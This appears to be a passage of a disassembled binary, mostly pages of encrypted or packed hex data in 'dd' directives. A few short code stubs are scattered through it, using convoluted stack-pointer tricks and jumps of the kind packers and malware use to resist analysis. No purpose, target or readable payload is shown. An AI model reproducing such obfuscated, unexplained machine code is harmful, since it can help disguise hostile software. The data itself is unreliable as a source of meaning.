		dd 50D96E38h, 1517BAD4h, 0A15A8718h, 52529E55h,	9F000005h
		dd 401CF15h, 0AF22F0CDh, 8CF29194h, 285A08D5h, 0FEB0AD9Dh
		dd 5943EA01h, 0DDE5F06Fh, 3B5601Fh, 48BC1AF9h, 0CF61335Ch
		dd 421F8385h, 469F9C2Dh, 7694B8CCh, 27DC2C06h, 4B0A560Dh
		dd 57000000h, 502C815h,	94E706C4h, 576EA5A7h, 0BBFC6D4h
		dd 0CFA794E7h, 20D2661Dh, 3576AD62h, 0A794E695h, 0E4A2EA36h
		dd 0DB924412h, 0FC48FC0Eh, 0FFEB5FC7h, 787504D6h, 103924h
		dd 37860000h, 0A956375Ah, 0C77E0E83h, 1CA1Eh, 5A372500h
		dd 0E04BFE13h, 7F22F4B2h, 0EFA69BABh, 0F9F6C40Ah, 9C8012B8h
		dd 5816C8ADh, 8BEE2E99h, 937F5BA1h, 745C1EFBh, 9DC3A2CEh
		dd 0EDF301E6h, 4549D9F0h, 3BFEB587h, 9457D0FAh,	6E580AA7h
		dd 0D86F3411h, 47944CE1h, 18D6DE6Ah, 5CEC8F46h,	35059A58h
		dd 5C1A62AEh, 36B2708Ah, 0FC4CC4B0h, 8391CEB8h,	9AA83DFBh
		dd 52D85412h, 5C20EE66h, 2DFE1572h, 0F81282ACh,	0E4B1683Ah
		dd 9B833DFCh, 88A231FBh, 0F4B2E449h, 4EE0822h, 763466C7h
		dd 1FC81533h, 94E6ECDEh, 0CF2719A7h, 85CB8A99h,	25EB05B7h
		dd 0FF0A92A0h, 0A86E3604h, 30E08B3Dh, 0F7491B44h, 0E7E0411h
		dd 0CB000004h, 5C3CB57h, 0BED7458Ah, 581684A7h,	432FCF86h
		dd 4D377FCBh, 7F7C0010h, 1ED5DB68h
		dd 773F0D92h, 1E0AFAB1h, 0DEBC6F86h, 0F0B48427h, 5943EAE5h
		dd 0E6EBDC9Bh, 0C29EA794h, 44CF5ED6h, 555EE4ECh, 4C36507Bh
		dd 84811D0Fh, 1FD6C06Dh, 56EBDC9Bh, 9AC6A794h, 0C5F436AEh
		dd 94574684h, 0EEA885A7h, 57546E20h, 93AA5B7Ah,	3A58FB9Bh
		dd 0CE7E35ABh, 9433D767h, 4252DCA7h, 0A98B284h,	411DF39h
		dd 0FFFF506Eh, 5A37BBFFh, 746A7EF8h, 15B86F59h,	4A817E18h
		dd 9478C109h, 89A419A7h, 8E3EF50Fh, 0FCBADC51h,	94788A3Dh
		dd 3723FFA7h, 422C6EBFh, 0B3713505h, 81A3FF4h, 0EFA6E78h
		dd 852713E5h, 4948D4h, 15950000h, 0C30401CFh, 0AD9D3007h
		dd 472421D3h, 4B8FB41Dh, 0A8226339h, 32A18C98h,	2BAF6680h
		dd 8C995F6Ch, 1E0A7EA1h, 195B23F5h, 13580Ah, 2DA50000h
		dd 0A794F16Dh, 0FE44DEC1h, 51E5FFFFh, 7, 2FF5158h, 57580000h
		dd 7106C4D6h, 71F0DABCh, 29605D63h, 0C17F0512h,	406B38EFh
		dd 5CAD97ECh, 992DECAAh, 3AA191E2h, 6542DAC6h, 0E51E9BACh
		dd 0D529E054h, 0A147C03h, 5538h, 0CF158500h, 8CCD0401h
		dd 0A794E73Eh, 931B279Ch, 0C8FFC279h, 0D35C7FB1h, 1BEDABC5h
		dd 0A689764h, 2ADCAD98h, 0E32B502Dh, 2ACDC963h,	0C0011EE9h
		dd 0A191B40Ah, 4D041ED0h, 0B3BC0AC9h, 0A317A191h, 0A7E81FB7h
		dd 0A191B423h, 0FA4E05B7h, 0A144A28h, 975Dh, 0D657AA00h
		dd 745106C4h, 3F5E00ECh, 0E0833A55h, 0F98E4C50h, 88656234h
		dd 0F4AE6B3Ch, 0FFCB0C88h, 0DBA79449h, 0D4580F29h, 0C2ACEE3Fh
		dd 944F3A5Bh, 940627A7h, 17252BAAh, 0F919D91Ah,	7C11AD99h
		dd 8E928F3Bh, 0A6EE3CA1h, 0F0C26D8h, 7A6428F8h,	24A9ED3Dh
		dd 0EF24D5A8h, 0C0E37EF2h, 31000004h, 77B49EF8h, 0BBF8E2A8h
		dd 0FB382270h, 3C796333h, 0D7BEA8ECh, 464EDAC2h, 8D111F5Ch
		dd 0D8C466A3h, 1A7CB1EEh, 7FC0AF30h, 0A18C954Bh, 57B7788Fh
		dd 9CD9C3CBh, 321D0791h, 78230037h, 6EB2EA5Dh, 6424A6ADh
		dd 4B6A794h, 1983AA4Dh,	7267C65Bh, 32FDDABAh, 0E1604A64h
		dd 73210A93h, 0CCC9E3B5h, 63765495h, 0DB55A794h, 5D2BFDBBh
		dd 0FA31F4ABh, 9A5155E3h, 979252CDh, 5C9D32ADh,	0A191366Eh
		dd 35CEFC3Dh, 5A0CA191h, 33FDDA8Ch, 0B9D3A563h,	0FD2F46FBh
		dd 0AB1DEAA1h, 1CA19135h, 33C8860Eh, 8EDD9BFBh,	430DC2AEh
		dd 0DD23DDC9h, 9ADB120Fh, 0A1913630h, 35903A7Bh, 984AA191h
		dd 0E91E8FCAh, 46054B90h, 0BFDF4F2Ch, 0B5782F01h, 94FBAB74h
		dd 3D27D9A7h, 0ADAAB0BEh, 96E7F66Ch, 3E7F14A1h,	9586568Ch
		dd 250E134Eh, 36403B80h, 0EE05021Ch, 85625F3Dh,	802187AFh
		dd 14C47B5Eh, 867423ADh, 1A7AB495h, 859CD330h, 6032F0B6h
		dd 86737159h, 0B76995h,	9D57h, 375E00h,	94E70BBFh, 7A1DCFA7h
		dd 512591B3h, 0C8954C5Bh, 0A79476FEh, 0F10CC8A5h, 0B4FBB97Eh
		dd 3CB18FDh, 4553DC19h,	0D702C887h, 65C9A794h, 0CEE8B476h
		dd 0E5B17B10h, 0AA785527h, 2E6F24E2h, 0A794D69Ch, 15F58C3Eh
		dd 0FDDD7429h, 25969911h, 0C4BA5248h, 5A61D566h, 0A793FD70h
		dd 4CDBB86Ah, 5422C46h,	5403E22Bh, 132B1875h, 0E5A3E936h
		dd 7C3BF913h, 0A794A84Bh, 32001766h, 0A7844687h, 0A456A794h
		dd 43FACC8Ah, 0ED3FB7A3h, 43ECF1CEh, 0F34AF85Eh, 9487DEECh
		dd 304AFCA7h, 0D5575B46h, 0B4760BC9h, 200EEBE8h, 0D3F73863h
		dd 7A7946Eh, 0A70AB255h, 35CA4E05h, 4CE19FE7h, 3EF7B5E3h
		dd 0C7914632h, 47E9614Dh, 82749B94h, 71EBF49Dh,	0B30ECCE6h
		dd 0D1EB2979h, 98B2CC56h, 8F0547AEh, 908DA794h,	2CE3AB79h
		dd 119207D8h, 4D8EC504h, 0A7945F7Dh, 0A8F4AB5Dh, 0FFFFFF06h
		dd 0C4D657F5h, 17BC7106h, 726F8915h, 0E6D0FA3Bh, 580AA794h
		dd 6C72F1A1h, 8B20615Eh, 11AD97EBh, 0EA2B625Fh,	0A191E1E0h
		dd 0D9148FAh, 91E1784Eh, 0FBE75BA1h, 141800D2h,	34350Ah
		dd 15820000h, 0CD0401CFh, 6B226AB6h, 980A619Eh,	3431E3ADh
		dd 0D2890D1Dh, 0C4378F4Eh, 289CA191h, 3A41133Ch, 0C8FF0A14h
		dd 91B84387h, 2EE597A1h, 0EAE2h, 372F00h, 94E70BBFh, 661DCFA7h
		dd 33306AC3h, 8E49656h,	974E3953h, 27B27E13h, 0BE7C9604h
		dd 22090429h, 6E3E9444h, 0AC611F39h, 40FE9895h,	1914B76Eh
		dd 672E957Fh, 0FAA79468h, 227F6933h, 5F20AAEBh,	8BAA794h
		dd 5A7FAE51h, 3608C6CEh, 26081F1Ch, 643BBF76h, 0F8BE8D1Eh
		dd 5FA0E1DEh, 0E5AD9766h, 84CA4933h, 7478B9B6h,	0AAA7970Eh
		dd 501EFBF8h, 3263C224h, 0CDE4A75Eh, 253C397Dh,	0D29016h
		dd 0CC5C9949h, 0C6BD43C8h, 9307E52Bh, 1A6F8h, 0B4E64B00h
		dd 0F8BE8DCAh, 405ED10Eh, 89151956h, 0CED6629Fh, 1CFDE4h
		dd 45826C30h, 88C5AFF7h, 0CF0CF6A6h, 0D1523C5Eh, 9229A1E2h
		dd 9AB1A18Ch, 0C3CB57D9h, 7C4E8FC6h, 5EA794E6h,	0E845F5ACh
		dd 3129BF0Bh, 40F779FCh, 906909Dh, 593991D2h, 0EFA1A794h
		dd 159D8838h, 0C30401CFh, 0AD980A3Ch, 0D9985608h, 0A191C3EDh
		dd 5D8672E6h, 0A14398Bh, 0C4C0h, 0D6570D00h, 3A5106C4h
		dd 65C6A3F1h, 4DDD8037h, 9FD68B49h, 0E6A32768h,	8537A794h
		dd 94E74C7Eh, 25DC8EA7h, 94EB3D58h, 8F0924A7h, 0D3C568A5h
		dd 2C6EBFD6h, 0D41AF175h, 0BBD20906h, 273F9E6Fh, 0C95CCEB1h
		dd 0D42BF8AFh, 70AD977Ch, 0F55D4BEh, 8A034441h,	0D6A79720h
		dd 0B9F02724h, 8BBB5278h, 1813889Bh, 6A9607Ah, 4B88723Ah
		dd 8E32B7FFh, 0ECE52BADh, 0B9DD78h, 0F1380000h,	0B380BDA7h
		dd 65C603EDh, 1C104D37h, 0C9599680h, 25F4DBC5h,	79632BF7h
		dd 0BCA6EE3Ch, 7F1AD7Fh, 4F3963CAh, 2C9EDFCEh, 0AEA18C91h
		dd 0CB57D697h, 788FC6C3h, 0EDDDE4A8h, 0DEA794E6h, 0BA8C4A52h
		dd 0D3833AECh, 1B059796h, 0C4D65730h, 0DABC7106h, 5D6371F0h
		dd 2FA71F60h, 792BAD9Dh, 950726BBh, 0E4714EABh,	7CAD5698h
		dd 935155E5h, 4DF0A7C1h, 0A2B9B6E0h, 7F510F95h,	591094A2h
		dd 0E95016D5h, 46CCA49Bh, 514BE25Ah, 99032A67h,	0B6E646DBh
		dd 118BA2B9h, 0A787D65Ah, 0B0EA43BBh, 0F2A489C6h, 4E4EDEF5h
		dd 8307BE90h, 0AE8h, 0DA667D00h, 8B4214D2h, 5734753Ah
		dd 750AC8D2h, 8B20DEB8h, 0A237F5A1h, 0BD521094h, 0D66B296Dh
		dd 0EF84424Ah, 0CA15F3Fh, 22B77523h, 4DD18F15h,	815E5456h
		dd 4C6h, 4EE8300h, 5C243487h, 348668h, 24048900h, 54D468h
		dd 243C8900h, 8904EC83h, 0DF68240Ch, 5947D81Fh,	81D9F741h
		dd 0FF1DE4E1h, 47C1816Dh, 89DDE149h, 0EC8359C8h, 24248904h
		dd 4240481h, 5F000000h,	8B951h,	0E9810000h, 500333D8h
		dd 0C181F901h, 500333D8h, 0FF590189h, 835F2434h, 48B04C4h
		dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 0EF01E95Ch
		dd 471EFFFBh, 0C54D0F87h, 357C31D9h, 799C010Ah,	857BFB8h
		dd 0FFC50306h, 0D28C6AE0h, 30C9FE18h, 0DDB1C244h, 0F10A3574h
		dd 5148F07Bh, 48858C39h, 47D2048h, 9C53CA63h, 3823740Fh
		dd 3B3E2B43h, 1C548E79h, 8C27046Fh, 2E7EBB0Dh, 3A2CA622h
		dd 7E086362h, 0DD981A64h, 25EEA962h, 18F96D7Eh,	0F5DBBB57h
		dd 0A923A961h, 19BE938h, 0BE600000h, 6388CE89h,	58A0Fh
		dd 81660000h, 61CD15C9h, 6B17BB60h, 830F5D44h, 0
		dd 6AB58D61h, 6A060859h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0CE4DC352h,	8D4E830Eh
		dd 64ED785h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0AA295026h, 0E6297440h, 0E5806018h
		dd 922FB8C4h, 0E9614BEFh, 0Fh, 0A7BD8416h, 0D27C1819h
		dd 283D6975h, 0FF0869E6h, 11840FD0h, 0E9000000h, 0Ch, 3C117408h
		dd 8C41B332h, 0DC416323h, 11E9C3h, 0B4100000h, 9844FC11h
		dd 51801CF3h, 807AE739h, 66DA2C0Fh, 6AD98Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 681DFDC3h
		dd 0D6F5C621h, 1840F7Bh, 0F9000000h, 17800Fh, 12E90000h
		dd 0B6000000h, 7EDC37D7h, 0DEEC218Eh, 1F952C20h, 0C4810095h
		dd 4C1F6B9h, 6B840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 8F4953C3h, 0E8A0F8Ch
		dd 0E9000000h, 9, 0A37636BBh, 0B6CA6AC3h, 8BFB8B76h, 0AEC032CBh
		dd 0CF2BFD75h, 0F92BD9F7h, 8B49D78Bh, 0CD00EBD9h, 1013F20h
		dd 74C00B00h, 0C708D18h, 0CB8BFA8Bh, 490A75A6h,	1B8FA75h
		dd 0EB000000h, 0EB008B09h, 0B8E4h, 0FCF0000h, 88Eh, 0E7816000h
		dd 1D412521h, 5AB96061h, 0B919C2E9h, 6DC89E7Fh,	885C761h
		dd 3F06085Ah, 0EB000101h, 60h, 17h dup(0)
		dd 0A9CE900h, 90E90000h, 6800000Ah, 6086202h, 0FB2358E9h
		dd 634368FFh, 4EE90608h, 68FFFB23h, 60863A6h, 0FB2344E9h
		dd 0E0A932FFh, 0FFD05674h, 1CED7593h, 3F0892B0h, 5F30B5D3h
		dd 24E834F3h, 4462CE9Fh, 6684F0B9h, 87A511DAh, 0BEC32F00h
		dd 1F294712h, 0BBC9D019h, 38BB4049h, 146D3668h,	199A2B49h
		dd 6BBECBD0h, 0CB56A873h, 9E220302h, 9CDE4A13h,	0E737088Eh
		dd 9893925Bh, 42139AA0h, 0F6BF4B43h, 0DEA9DBF7h, 0D6114590h
		dd 555B5360h, 0A0201CAh, 0BDB5B485h, 70686738h,	261E1DE6h
		dd 0D6CECD9Eh, 5B807F50h, 17E25622h, 0DC199F75h, 3A6CE0EDh
		dd 191E016Fh, 70E4F1D0h, 191E4FA5h, 221A27D0h, 9364EAF8h
		dd 0D8A0DC27h, 1E279964h, 151FD019h, 0C2BDBC8Dh, 0F178706Fh
		dd 0AF7AAC20h, 0D0191E41h, 0A2C2431h, 1CF5627h,	0E559AC75h
		dd 458AE8B3h, 5D6AD611h, 0EAA79A65h, 3F350032h,	0B7D61145h
		dd 0A7FB2AAh, 0CAD80A7Eh, 0B69763Fh, 0EBD61145h, 3A1BE6DEh
		dd 0C994C6F8h, 0D61145ABh, 0C3313E4Bh, 0B3D61145h, 32E3AEA6h
		dd 0E7A4E829h, 5F572ED0h, 39176873h, 4AA341h, 29F20000h
		dd 0A6B428F0h, 55504F20h, 32925Dh, 9A996AF2h, 8EE4A79Fh
		dd 0E8D61145h, 36BEADB6h, 38F0CBDh, 1100F8F6h, 0F76B78D6h
		dd 1100C62Ch, 0A9A1AED6h, 32DBF0FDh, 0CCCB9C24h, 0DCAFD9D1h
		dd 0EAFFD056h, 24477D14h, 4A000000h, 1328F029h,	31F70032h
		dd 9CFBE045h, 4FA56860h, 2BD61173h, 320116h, 0A59D66F2h
		dd 0FFD056DAh, 297D14EAh, 0E5B024FCh, 0DC146506h, 0B8D4D3E0h
		dd 64B5BB86h, 303DD012h, 647B7538h, 47C0D012h, 0C237BC4Ah
		dd 0A3FE5A3Ah, 4D000001h, 0CB9C2432h, 9C64A0D3h, 456F5D28h
		dd 0DAE7D611h, 8B5CE3DBh, 0CF563C1Fh, 0A9A87901h, 0A7465BAEh
		dd 28F029EAh, 70573A13h, 4139FF6Bh, 4FA2h, 32F100h, 45ED03CEh
		dd 7885D611h, 1145056Bh, 0E8E0EDD6h, 9FB444B5h,	0CC9D2432h
		dd 51324281h, 0D052C06h, 0EBDA18E3h, 8D9AD611h,	4FBB1019h
		dd 0F4093A88h, 544C9F68h, 325F3289h, 0AA10AB29h, 746CBF7Bh
		dd 217E86Eh, 2F477D14h,	4A000000h, 69BA2932h, 177DF0B9h
		dd 0EBBDEC1Fh, 10E16977h, 531E1611h, 45096732h,	0D8EDD611h
		dd 565F32C3h, 32EAFFD0h, 2D3A2629h, 0B7AF08B8h,	0FD29D86Fh
		dd 0FCE6B125h, 74D61145h, 62DBDF6Fh, 0E26CBBE6h, 0CC1F1A19h
		dd 505E7A79h, 0FEF9F8C9h, 87790006h, 2322F379h,	35D51B28h
		dd 909DD611h, 56EED13Dh, 0A7E9FECFh, 28F029EAh,	0B9B782B4h
		dd 39D61145h, 3269342Ch, 66316F29h, 0B030304h, 6B7006E9h
		dd 0A24139FFh, 62h, 28F029F1h, 0CE003213h, 1145ED03h, 0D5A62BD6h
		dd 8049D5DFh, 3B338681h, 11457A78h, 0E1737CD6h,	78737071h
		dd 475400F8h, 0E93A1D3h, 36433E3Dh, 0D6114738h,	0E8B3ABB8h
		dd 0D0565F32h, 0ADAC7D02h, 324A5FB2h, 0FE80029h, 332B356Ch
		dd 36ECF5EBh, 71194528h, 323D0800h, 0D9D19A24h,	33C4h
		dd 0F029C700h, 80D3A42Bh, 967326Bh, 0EDD61145h,	2932C3D8h
		dd 595B7054h, 8EB8B09Eh, 7D056BBh, 2E100101h, 859AEDB4h
		dd 21EC1E14h, 0D61145D3h, 0D39E96A3h, 8047h, 0FD294A00h
		dd 0F0E6B125h, 70D61145h, 0E56C6463h, 56C5A814h, 0A7E9FECFh
		dd 28F029EAh, 70573A13h, 4139FF6Bh, 2AA2h, 0F029F100h
		dd 321328h, 9FFEF0F7h, 3B339054h, 117F7A78h, 0D8EDFAD6h
		dd 0D0565F32h, 7D14EAFFh, 0CD9E2432h, 2FC0D5h, 29C30000h
		dd 321328F0h, 11450967h, 53DBEDD6h, 2D430E82h, 0C5D61145h
		dd 325065B8h, 9A24325Fh, 4DD3D9D1h, 46FF087Ch, 892B49FCh
		dd 141FEAE2h, 0FECF567Dh, 0B27B07FFh, 0D0A12846h, 45D01CD1h
		dd 0EE1CD611h, 4583F1BCh, 6673D611h, 0EE96936Eh, 41129967h
		dd 0E46C7AEEh, 54FEC813h, 0EF42E835h, 30B7D5F7h, 87B9EB5Fh
		dd 114DB6BCh, 24313ED6h, 0D6114DCEh, 0ECA199A6h, 8B0899B1h
		dd 8E5FE68Eh, 0D2AED722h, 6DD4935Eh, 818EDC14h,	6DA3CD82h
		dd 9F18D012h, 0CBDF14A2h, 19565A3Ah, 0A5000000h, 0FFFECF56h
		dd 1145244Ah, 706D4CD6h, 0CC7841C8h, 9E4C323h, 896CD82Bh
		dd 1906CF56h, 358F1662h, 1262578h, 0BD88FC84h, 0DC194A6Fh
		dd 8657DDE7h, 3B299487h, 0C97A3EF6h, 6CB72376h,	28F36731h
		dd 0DA1D4143h, 4A0B97A5h, 628C7983h, 62D62973h,	1DB25997h
		dd 140C19DAh, 405C5B68h, 6587AA37h, 150D1406h, 1D931852h
		dd 21EA76DAh, 0D4A22A22h, 2F2E814Ah, 8A353211h,	1FEBE861h
		dd 0B7A3F16h, 0B9B4B384h, 9442936Eh, 0EA3BB09Ch, 17F25035h
		dd 41000000h, 0B125FD29h, 1145F8E6h, 0F76B78D6h, 249061E9h
		dd 17F7h, 0FD29FA00h, 0D5D49D28h, 481387DAh, 0D611455Eh
		dd 4755C9D6h, 9F82EEBFh, 18747h, 24324A00h, 0A2D5CD9Eh
		dd 0A78EA371h, 0FECF56EAh, 350032E9h, 0D611453Fh, 90B2AAB7h
		dd 0FF6B70ADh, 5AA24139h, 92000000h, 6FC4A089h,	0A3970E88h
		dd 0E7CAAE66h, 0B7827ACDh, 2132F629h, 0B86C2E2Eh, 0C71AE36Eh
		dd 24325F74h, 0D4CFCE9Fh, 89E7B2DCh, 69D61145h,	2432475Ch
		dd 0D3CECD9Eh, 717FB1DBh, 1F1A19EAh, 0CE565C27h, 0F17B89FDh
		dd 420D2928h, 0D611452Ch, 6C64B7C4h, 477D14A1h,	2Fh, 2AF6294Ah
		dd 9673215h, 0EDD61145h, 5F32C3D8h, 89FDCE56h, 737FAC80h
		dd 0E9010B76h, 0AC65B0BCh, 0F0BBB3A0h, 85C62932h, 4151CACDh
		dd 566A0149h, 0DC12DDCFh, 94D61145h, 0B7C03487h, 7A3566Ch
		dd 0AC4B12CEh, 4D3B54h,	0A7EAB5ADh, 28F029EAh, 70573A13h
		dd 4139FF6Bh, 2EA2h, 0F029F100h, 321328h, 45ED03CEh, 5785D611h
		dd 1145668Ch, 0AE010ED6h, 45FDF3B6h, 6875D611h,	565F3253h
		dd 14EAFFD0h, 42477Dh, 294A0000h, 363C07F0h, 0BED61145h
		dd 32495EB1h, 11450967h, 0C3D8EDD6h, 0E0F70032h, 2529AFBAh
		dd 326D3830h, 45D19F24h, 2F827D7Ch, 0DDAB3137h,	38018B51h
		dd 0ECEB3E39h, 0CF1FA6F1h, 7091AB10h, 7D14081Dh, 15E0CA56h
		dd 0D61145DFh, 38018D97h, 420B95E5h, 0E16D7BEFh, 0B66B2018h
		dd 0D61145BDh, 838253DBh, 3635068Bh, 7C27242Dh,	46EEEB42h
		dd 747DF1BAh, 573DC92Eh, 0E76EBEB2h, 19FC1E16h,	201CA56h
		dd 33B87E0Ah, 15686362h, 285A6816h, 1145175Dh, 0E6B1DFD6h
		dd 0D6114588h, 10085B68h, 4903835h, 8F4CF3Bh, 0A7D6114Eh
		dd 39ED7B71h, 0FE44B45Ch, 9903FFFFh, 0D611455Fh, 11457600h
		dd 448EE7D6h, 0DCEAD611h, 8D888750h, 4498D295h,	0A0D2D611h
		dd 0F4F51D97h, 909D6F96h, 0D611AC62h, 4A0D0512h, 0D611AC20h
		dd 11AC47B1h, 0A37DA896h, 0CBFD2Fh, 1611ACF2h, 0BA7D7582h
		dd 1C17D4B0h, 5720ACBAh, 0A7A6B35Fh, 97D1B82h, 12A9C93Eh
		dd 0E53C491Ah, 94BE7A72h, 0A0515859h, 58000002h, 7C9A06CFh
		dd 9BB925F6h, 0B8D64213h, 0DBF9652Eh, 5A198556h, 0F4C54A0Eh
		dd 16DF6A88h, 37008CAAh, 5526ADCBh, 6D38E4E9h, 0D0192707h
		dd 56CEE1EFh, 7C8AFECFh, 2C2726F7h, 235A7F34h, 49D3E155h
		dd 8E868180h, 9F879964h, 0B2BFDC19h, 1E016B46h,	3B62D019h
		dd 601EE95Dh, 72DA11C4h, 2F662069h, 0ED383031h,	93F67367h
		dd 0D07C749Fh, 0FD464FC3h, 0A4FB32ABh, 0CCDA04FCh, 0C6087445h
		dd 23ABC994h, 3E4BDA01h, 0E8B94046h, 234234E9h,	0CA33DA01h
		dd 55EFBA2Eh, 1DD009F9h, 5C6A9C10h, 90403D4h, 92840B11h
		dd 984A9C7h, 0E93C49C4h, 13DC6775h
		dd 54DBF91Bh, 12DD0F83h, 0C40984DCh, 0DA8F8794h, 3CB048B5h
		dd 15EDB71h, 0B919BCEh,	0CCE8E73Ah, 706839BEh, 0C438C03Dh
		dd 2EFF8492h, 793C342Fh, 0C43884D7h, 0F4BA454Fh, 0A39E9D6Eh
		dd 6565150h, 0B5B0AF80h, 59E0EE62h, 77FE1C88h, 0F8F2A7A6h
		dd 0E9C8382Ah, 0FAF8C3BCh, 7AC838CAh, 0DBA61A6Dh, 0C2301049h
		dd 4E80F401h, 20AF6D83h, 71FB05F2h, 5BAEA9A8h, 1C89AE63h
		dd 0DE310287h, 0A3309F6Ah, 3542F825h, 0E98461DEh, 545B5CF2h
		dd 15Fh, 0DB471099h, 0FA6637BDh, 178354DCh, 3AA66FF9h
		dd 5AC6971Ch, 68B4F9Bh,	20ABC935h, 41CDEB57h, 67EE0C78h
		dd 79252A96h, 192640AEh, 0F2230D0h, 9E322932h, 1BEFFC41h
		dd 0EBB5F023h, 0AC9AAC77h, 0C5D2DC19h, 9C64A1C6h, 0DFE65D28h
		dd 0E4F2DA1Ch, 928D8C5Dh, 8AE1EE9Ah, 0D4C03103h, 0FC0A1112h
		dd 0FC000000h, 203EAA73h, 3F5DC99Ah, 5C7AE6B7h,	7F9D09D2h
		dd 0FEBD29FAh, 9869EEB2h, 0BA830E2Ch, 0DBA4304Eh, 0F9CA516Fh
		dd 11DC888Dh, 0D01926E3h, 32728593h, 453F3500h,	0AAB7D611h
		dd 7A067FB2h, 9FE13B06h, 0DDEBDC19h, 8D888758h,	0DDDCE995h
		dd 198D5EE5h, 9F509010h, 0E9634B4h, 0E9AEA3Dh, 0D2B4D45h
		dd 3341B586h, 2EE3DBACh, 7F079C09h, 1CE75BAEh, 0DA112866h
		dd 0ED76270h, 0F15D6A16h, 107C4DD3h, 6264C5CEh,	56D153B3h
		dd 0FFD0585Eh, 25EB7593h, 107CCFA0h, 289C6DF2h,	7A40971Fh
		dd 0B5B15B4h, 9CBEB67Fh, 0BC28F97Eh, 1CE26C7Ah,	7971C495h
		dd 0B31FE873h, 0D4400995h, 0EA5E2FB6h, 4242D3E1h, 34A8CE67h
		dd 550B69h, 0E6DEEBDAh,	521BA6C4h, 96629BE6h, 8FA95722h
		dd 1F29D008h, 0D2CDCC95h, 188807Fh, 8CDFA833h, 0DF320h
		dd 54F60000h, 93E1ACDEh, 63D61145h, 56935E56h, 0D0504CDh
		dd 0BEB6B586h, 726A6932h, 271F1EE7h, 0DAD2D1A2h, 8D858455h
		dd 433B3A03h, 0F3EBEABBh, 6F9D9C6Dh, 8F868h, 24348900h
		dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 68240489h, 7845h
		dd 51243C89h, 5011DFB9h, 81D1F757h, 0A79344E9h,	595851A2h
		dd 8904EC83h, 4832424h,	685F0424h, 4593h, 81240489h, 0BA32404h
		dd 478F01C6h, 86F8108h,	1C60BA3h
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_4F2EAD
; ---------------------------------------------------------------------------
		db 11h
		dd 0B8B2F5DAh, 60864C7h, 0C38BC503h, 10E8h, 8BB7C500h
		dd 22DF6604h, 0ED18204Ah, 825DC465h, 0EE9ABh, 4E5A0000h
		dd 0A5230E2Eh, 56C3EF83h, 2FE09D9Ah, 0BEC08158h, 6000006Ch
		dd 9E9h, 1BF6D000h, 6DAEFE9Eh, 61FCADFAh, 0F0B6FF2Bh, 0E9380C8Bh
		dd 0Ah,	0C117367Ah, 42DC7B59h, 0E981728Dh, 106B6232h, 77F68166h
		dd 0EAF18176h, 80361E65h, 0C1815BCFh, 6DCAE552h, 0BF0F5650h
		dd 515B5AD9h, 8FDFBF0Fh, 0D3803804h, 41BB662Ah,	0C7EF8157h
		dd 0E92C44AEh, 12h, 7B308D88h, 0D6638265h, 0D529E5C9h
		dd 95EC6693h, 0C7818D5Fh, 2C44AEC3h, 9414FF81h,	850FFFFFh
		dd 15h,	5CABBE66h, 1EE9h, 15EBE400h, 8C1ADC33h,	0C4DCA5D2h
		dd 0BDBB562Ah, 5E4926D5h, 0FFFF6FE9h, 419191FFh, 8D9C4042h
		dd 8671E8Dh, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 15629BBCh, 0E7800F24h, 0B3BA66B6h
		dd 0A58D8905h, 50060320h, 24E58589h, 0C75F0603h, 31A6585h
		dd 5FF806h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 0BF0F0D86h, 7185C7F9h, 60300h, 8B000000h
		dd 324D99Dh, 45B5FF06h,	6A06031Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 4A22C351h
		dd 65ED1820h, 95FF65B3h, 603171Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 76C35040h, 0FBFD4112h, 0F7D23A6h
		dd 1784h, 11860F00h, 0E8000000h, 0Bh, 8EE11756h, 0F8B072A2h
		dd 5FEF85B2h, 95FF006Ah, 60323A5h, 6AEBC08Bh, 96EE603Fh
		dd 6A61BD46h, 4515AD50h, 286D446Fh, 3543A3F6h, 4AF9E0F7h
		dd 63C6555h, 0A5FA35ECh, 0E0800534h, 4C6FDDE8h,	0D552CAEEh
		dd 71CAB74Eh, 95D56397h, 408D980Eh, 0A2B796B1h,	0B711681h
		dd 58BBB699h, 7A743B19h, 2BE7201Fh, 4ACC41F3h, 0D33E63AAh
		dd 0C4E4F2B9h, 0B66D5272h, 0AA0DF537h, 49F55B4Ch, 0C912CE89h
		dd 66E9F359h, 60000002h, 0F6D98C66h, 840F04C1h,	35h, 0B5FF016Ah
		dd 60302E1h, 7C58858Dh,	0D0FF0606h, 30718589h, 0FE8B0603h
		dd 680CEFC1h, 20060000h, 26A006Ah, 0D6857h, 95FF0001h
		dd 6033071h, 32E9h, 0A185C600h,	5606031Bh, 0C530DF68h
		dd 71B5FFA9h, 8D060324h, 67C5885h, 89D0FF06h, 305DD85h
		dd 71858D06h, 5006030Bh, 56A406Ah, 0DD95FF56h, 61060305h
		dd 0C3h, 2 dup(0)
		dd 0D48B5200h, 8428B60h, 68108589h, 428B0608h, 885890Ch
		dd 8B060868h, 85891042h, 608680Ch, 6846B58Dh, 858D0608h
		dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 86810B5h, 8858B06h, 83060868h
		dd 8680CBDh, 840F0006h,	7, 2E90689h, 88000000h,	0CF06h
		dd 0
		dd 8B520000h, 428B60D4h, 10858908h, 8D060868h, 86897B5h
		dd 35858D06h, 0FF005B7Eh, 8B5A61D0h, 8681085h, 4C206h
		dd 6810858Bh, 8B0608h, 68108589h, 0CF0608h, 60000000h
		dd 686DB589h, 85890608h, 6086869h, 501858Dh, 408B0603h
		dd 0A6858944h, 8D060868h, 868DCB5h, 35858D06h, 0FF005B7Eh
